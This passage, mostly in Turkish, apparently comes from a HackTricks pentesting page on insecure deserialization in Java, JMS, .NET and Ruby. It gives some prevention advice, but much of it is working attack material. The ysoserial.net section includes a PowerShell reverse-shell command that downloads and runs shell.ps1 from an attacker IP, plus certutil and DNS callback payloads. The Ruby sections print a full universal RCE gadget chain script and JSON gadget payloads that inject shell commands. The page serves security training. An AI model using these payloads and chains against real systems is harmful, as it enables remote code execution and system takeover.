Serialization filters'ı kullanmak için, tüm deserialization işlemlerine uygulanan bir global filtre ayarlayabilir veya belirli stream'ler için dinamik olarak yapılandırabilirsiniz. Örneğin:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Harici Kütüphanelerden Yararlanarak Geliştirilmiş Güvenlik: NotSoSerial, jdeserialize ve Kryo gibi kütüphaneler, Java deserialization süreçlerini kontrol etmek ve izlemek için gelişmiş özellikler sunar. Bu kütüphaneler, sınıfları whitelist/blacklist ile sınırlama, deserialization öncesi serialized objeleri analiz etme ve özel serialization stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.

  • NotSoSerial deserialization süreçlerini keserek güvenilmeyen kodun çalışmasını engeller.
  • jdeserialize serialized Java objelerini deserialize etmeden analiz etmeye izin vererek potansiyel kötü amaçlı içeriği tespit etmeye yardımcı olur.
  • Kryo hız ve verimliliğe vurgu yapan alternatif bir serialization framework'üdür; güvenliği artırabilecek yapılandırılabilir serialization stratejileri sunar.

Kaynaklar

JNDI Injection & log4Shell

Aşağıdaki sayfada JNDI Injection'ın ne olduğunu, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılabileceğini ve log4shell'in nasıl exploit edileceğini (ve bu vuln için örnek) bulun:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

Bu middleware'i mesaj göndermek için kullanan çeşitli ürünler vardır:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Temelde JMS'i tehlikeli bir şekilde kullanan bir dizi servis vardır. Bu nedenle, bu servislere mesaj gönderecek kadar yetkiye (genellikle geçerli kimlik bilgileri gerekir) sahipseniz, consumer/subscriber tarafından deserialized edilecek şekilde kötü amaçlı serialized objeler gönderebilirsiniz.
Bu, bu istismarda mesajı kullanacak tüm istemcilerin enfekte olacağı anlamına gelir.

Bir servisin (kullanıcı girdisini güvensiz şekilde deserializing ettiği için) vuln olması durumunda bile, vuln'ü exploit edebilmek için geçerli gadget'ları bulmanız gerektiğini unutmayın.

JMET aracı, bu servislere bağlanıp bilinen gadget'ları kullanarak birçok kötü amaçlı serialized obje göndererek saldırmak için oluşturulmuştur. Bu exploit'ler, servis hâlâ vulnerable ise ve kullanılan gadget'lardan herhangi biri vuln uygulama içinde mevcutsa çalışacaktır.

References

.Net

.Net bağlamında, deserialization exploit'leri Java'dakine benzer şekilde çalışır; burada gadget'lar, bir nesnenin deserialization sırasında belirli kodun çalıştırılması için kötüye kullanılır.

Fingerprint

WhiteBox

Kaynak kod, aşağıdaki ögelerin varlığı açısından incelenmelidir:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Odak, tipi kullanıcının kontrolündeki bir değişken tarafından belirlenmesine izin veren serializer'lar olmalıdır.

BlackBox

Arama, sunucu tarafında deserializasyona uğrayabilecek ve deserialized edilecek tipi kontrol etme imkanı sağlayabilecek Base64 encode edilmiş AAEAAAD///// dizgisine veya benzer paternlere yönelik olmalıdır. Bu JSON veya XML yapıları gibi, TypeObject veya $type içeren yapıları da kapsayabilir.

ysoserial.net

Bu durumda deserialization exploit'leri oluşturmak için ysoserial.net aracını kullanabilirsiniz. Git deposunu indirdikten sonra aracı örneğin Visual Studio kullanarak compile etmelisiniz.

ysoserial.net'in nasıl exploit oluşturduğunu öğrenmek isterseniz ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı inceleyebilirsiniz.

ysoserial.net'in ana seçenekleri: --gadget, --formatter, --output ve --plugin.

  • --gadget abuse edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komut çalıştırmak için kullanılacak sınıf/fonksiyonu belirtir).
  • --formatter exploit'i serialize etmek için kullanılacak yöntemi belirtmek içindir (payload'u deserializing eden backend'in hangi kütüphaneyi kullandığını bilip aynı formatter'ı kullanmanız gerekir).
  • --output exploit'in raw mı yoksa base64 olarak mı çıkacağını belirtir. Not: ysoserial.net payload'u varsayılan olarak Windows'ta kullanılan UTF-16LE ile encode edecektir; bu yüzden raw alıp bir Linux konsolundan sadece encode ederseniz bazı encoding uyumluluk sorunları yaşayabilir ve bu da exploit'ün düzgün çalışmasını engelleyebilir (HTB JSON kutusunda payload hem UTF-16LE hem ASCII'de çalıştı ancak bu her zaman böyle olacağı anlamına gelmez).
  • --plugin ysoserial.net, ViewState gibi belirli framework'ler için exploit'ler oluşturacak plugin'leri destekler.

More ysoserial.net parameters

  • --minify mümkünse daha küçük bir payload sağlar
  • --raf -f Json.Net -c "anything" Bu, sağlanan formatter (Json.Net bu durumda) ile kullanılabilecek tüm gadget'ları gösterecektir
  • --sf xml bir gadget (-g) belirtebilir ve ysoserial.net "xml" içeren (büyük/küçük harf duyarsız) formatter'ları arayacaktır

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ayrıca her exploit'in nasıl çalıştığını daha iyi anlamaya yardımcı olan çok ilginç bir parametreye sahiptir: --test
Eğer bu parametreyi belirtirseniz ysoserial.net exploit'i yerel olarak deneyecek, böylece payload'unuzun doğru çalışıp çalışmayacağını test edebilirsiniz.
Bu parametre yararlıdır çünkü kodu incelerseniz aşağıdaki gibi kod parçaları bulursunuz (şu dosyadan: ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Bu, exploit'i test etmek için kodun serializersHelper.JsonNet_deserialize çağıracağı anlamına gelir.

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.

ViewState

Bu POST'a göz atın: .Net'in __ViewState parametresini nasıl exploit etmeyi deneyeceğiniz ve keyfi kod çalıştırmak için. Eğer hedef makinede kullanılan secret'ları zaten biliyorsanız, kod çalıştırmayı bilmek için bu yazıyı okuyun.

Prevention

Deserialization ile ilişkili riskleri azaltmak için .Net tarafında şunları yapın:

  • Allowing data streams to define their object types'a izin vermeyin. Mümkün olduğunda DataContractSerializer veya XmlSerializer kullanın.
  • JSON.Net için TypeNameHandling'i None olarak ayarlayın: TypeNameHandling = TypeNameHandling.None
  • JavaScriptSerializer'ı bir JavaScriptTypeResolver ile kullanmaktan kaçının.
  • Deserializable olabilecek tipleri sınırlayın; System.IO.FileInfo gibi .Net tiplerinin sunucu dosyalarının özelliklerini değiştirebileceğini ve potansiyel olarak denial of service saldırılarına yol açabileceğini unutmayın.
  • Riskli özelliklere sahip tiplere dikkat edin, örneğin System.ComponentModel.DataAnnotations.ValidationException'ın Value özelliği kötü amaçla kullanılabilir.
  • Type instantiation'ı güvenli şekilde kontrol edin ki saldırganlar deserialization sürecini etkilemesin; aksi takdirde DataContractSerializer veya XmlSerializer bile savunmasız hale gelebilir.
  • Custom SerializationBinder kullanarak white list kontrolleri uygulayın (BinaryFormatter ve JSON.Net için).
  • .Net içindeki bilinen insecure deserialization gadget'larından haberdar olun ve deserializer'ların bu tür tipleri instantiate etmediğinden emin olun.
  • Potansiyel olarak riskli kodu, internete erişimi olan koddan izole edin ki WPF uygulamalarındaki System.Windows.Data.ObjectDataProvider gibi bilinen gadget'lar untrusted veri kaynaklarına maruz kalmasın.

References

Ruby

Ruby'de serileştirme, marshal kütüphanesindeki iki metodla sağlanır. Birinci metod olan dump, bir objeyi byte stream'e dönüştürmek için kullanılır; bu işleme serileştirme denir. İkinci metod olan load ise bir byte stream'i tekrar objeye çevirmek için kullanılır; bu işleme deserialization denir.

Serileştirilmiş objeleri güvence altına almak için Ruby, HMAC (Hash-Based Message Authentication Code) kullanır; bu, verinin bütünlüğünü ve kaynağının doğruluğunu sağlar. Bu amaçla kullanılan anahtar aşağıdaki yerlerden birinde saklanıyor olabilir:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails'i exploit etmek için başka bir RCE zinciri: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

this vulnerability report içinde açıklandığı gibi, eğer bazı kullanıcılardan gelen unsanitized input bir ruby nesnesinin .send() metoduna ulaşırsa, bu metot nesnenin herhangi bir diğer metodunu herhangi bir parametre ile çağırmaya izin verir.

Örneğin, eval çağrısı yapıp ikinci parametre olarak ruby code verirseniz herhangi bir kodu çalıştırmanıza izin verir:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

Dahası, eğer bir saldırgan sadece .send()'in tek bir parametresini kontrol ediyorsa, önceki yazıda belirtildiği gibi, nesnenin argüman gerektirmeyen veya argümanlarının varsayılan değerleri olan herhangi bir metodunu çağırmak mümkündür.
Bunun için, nesnenin tüm metotlarını listeleyerek bu gereksinimleri karşılayan bazı ilginç metotları bulmak mümkündür.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Nasıl mümkün olabileceğini görmek için pollute a Ruby class and abuse it in here sayfasını inceleyin.

Ruby _json pollution

Bir body içinde array gibi hash'lenebilir olmayan bazı değerler gönderildiğinde, bunlar _json adında yeni bir anahtara eklenir. Ancak, bir saldırgan body içinde istediği rastgele değerleri içeren _json adlı bir değer de ayarlayabilir. Ardından, örneğin backend bir parametrenin doğruluğunu kontrol edip daha sonra _json parametresini bir işlem yapmak için kullanıyorsa, bir authorisation bypass gerçekleştirilebilir.

Daha fazla bilgi için Ruby _json pollution page sayfasına bakın.

Diğer kütüphaneler

Bu teknik from this blog post alınmıştır.

Nesneleri serialize etmek için kullanılabilen ve bu nedenle insecure deserialization sırasında RCE elde etmek için istismar edilebilecek başka Ruby kütüphaneleri de vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve nesne unserialize edildiğinde çağrılan library içindeki metodu gösterir (temelde RCE elde etmek için istismar edilecek fonksiyon):

KütüphaneGirdiSınıf içindeki tetikleyici metod
Marshal (Ruby)İkili_load
OjJSONhash (sınıf anahtar olarak hash(map) içine konulmalıdır)
OxXMLhash (sınıf anahtar olarak hash(map) içine konulmalıdır)
Psych (Ruby)YAMLhash (sınıf anahtar olarak hash(map) içine konulmalıdır)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basic example:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj'yi kötüye kullanmaya çalışırken, içinde hash fonksiyonunun to_s'i çağıracağı, bunun da spec'i, onun da fetch_path'i çağıracağı bir gadget class bulmak mümkündü; fetch_path'i rastgele bir URL'yi getirecek şekilde yaptırmak mümkün olduğu için bu, bu tür unsanitized deserialization vulnerabilities için harika bir detector sağlıyordu.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu tespit edildi; bu, bunu tam bir RCE'ye dönüştürmek için başka bir gadget'ı suistimal etmek adına bir gerekliliktir; örneğin:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Önbellekleme

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Aşağıda Bootsnap önbelleklemesini suistimal ederek arbitrary file write zafiyetini exploit etme konusunda makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:

  • Zafiyeti ve Ortamı Belirleyin

Rails uygulamasının dosya yükleme fonksiyonu bir saldırganın dosyaları arbitrary olarak yazmasına izin veriyor. Uygulama kısıtlamalarla çalışsa bile (Docker’ın non-root kullanıcısı nedeniyle sadece tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap cache dizinine yazmayı (genellikle tmp/cache/bootsnap altında) mümkün kılar.

  • Bootsnap’in Önbellek Mekanizmasını Anlayın

Bootsnap, Rails’in başlatma sürelerini kısaltmak için derlenmiş Ruby kodu, YAML ve JSON dosyalarını cache’ler. Cache dosyaları, bir cache key header’ı (Ruby versiyonu, dosya boyutu, mtime, compile options vb. alanları içeren) ve ardından derlenmiş kodu içerir. Bu header, uygulama başlatılırken cache’in doğrulanması için kullanılır.

  • Dosya Meta Verilerini Toplayın

Saldırgan önce Rails başlatılma sırasında yüklenmesi muhtemel bir hedef dosya seçer (örneğin Ruby’nin standart kütüphanesinden set.rb). Container içinde Ruby kodu çalıştırarak gerekli meta verileri (RUBY_VERSION, RUBY_REVISION, size, mtime ve compile_option gibi) çıkarır. Bu veriler geçerli bir cache key oluşturmak için gereklidir.

  • Cache Dosyası Yolunu Hesaplayın

Bootsnap’in FNV-1a 64-bit hash mekanizmasını taklit ederek doğru cache dosyası yolu belirlenir. Bu adım, kötü amaçlı cache dosyasının Bootsnap’in beklediği yere tam olarak yerleştirilmesini sağlar (ör. tmp/cache/bootsnap/compile-cache-iseq/).

  • Kötü Amaçlı Cache Dosyasını Hazırlayın

Saldırgan aşağıdaki işlevleri içeren bir payload hazırlar:

  • Executes arbitrary commands (for example, running id to show process info).
  • Kötü amaçlı cache’i yürütmeden sonra recursive exploitation’u önlemek için siler.
  • Uygulamanın çökmesini önlemek için orijinal dosyayı (ör. set.rb) yükler.

Bu payload ikili Ruby koduna derlenir ve önceden toplanan meta veriler ve doğru Bootsnap versiyon numarası kullanılarak özenle oluşturulmuş bir cache key header’ı ile birleştirilir.

  • Üzerine Yazma ve Yürütmeyi Tetikleme

Arbitrary file write zafiyeti kullanılarak saldırgan hazırlanan cache dosyasını hesaplanan konuma yazar. Ardından sunucu yeniden başlatılması tetiklenir (Puma tarafından izlenen tmp/restart.txt dosyasına yazılarak). Yeniden başlatma sırasında Rails hedeflenen dosyayı require ettiğinde, kötü amaçlı cache dosyası yüklenir ve RCE gerçekleşir.

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Gerçek zincirlerde görülen yaygın gadget sınıfları: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • payloads içine gömülen tipik yan etki belirteci (unmarshal sırasında yürütülen):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Gerçek uygulamalarda nerede ortaya çıkar:

  • Tarihsel olarak Marshal kullanan Rails cache ve session store'ları
  • Background job backends ve dosya tabanlı nesne depoları
  • İkili nesne blob'larının özel olarak saklanması veya taşınması

Endüstrileştirilmiş gadget keşfi:

  • constructor'lar, hash, _load, init_with veya unmarshal sırasında çağrılan yan etki oluşturan metodlar için grep atın
  • CodeQL’in Ruby unsafe deserialization sorgularını kullanarak kaynakları → sinks şeklinde izleyin ve gadget'ları ortaya çıkarın
  • Herkese açık çok formatlı PoC'larla doğrulayın (JSON/XML/YAML/Marshal)

Referanslar

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin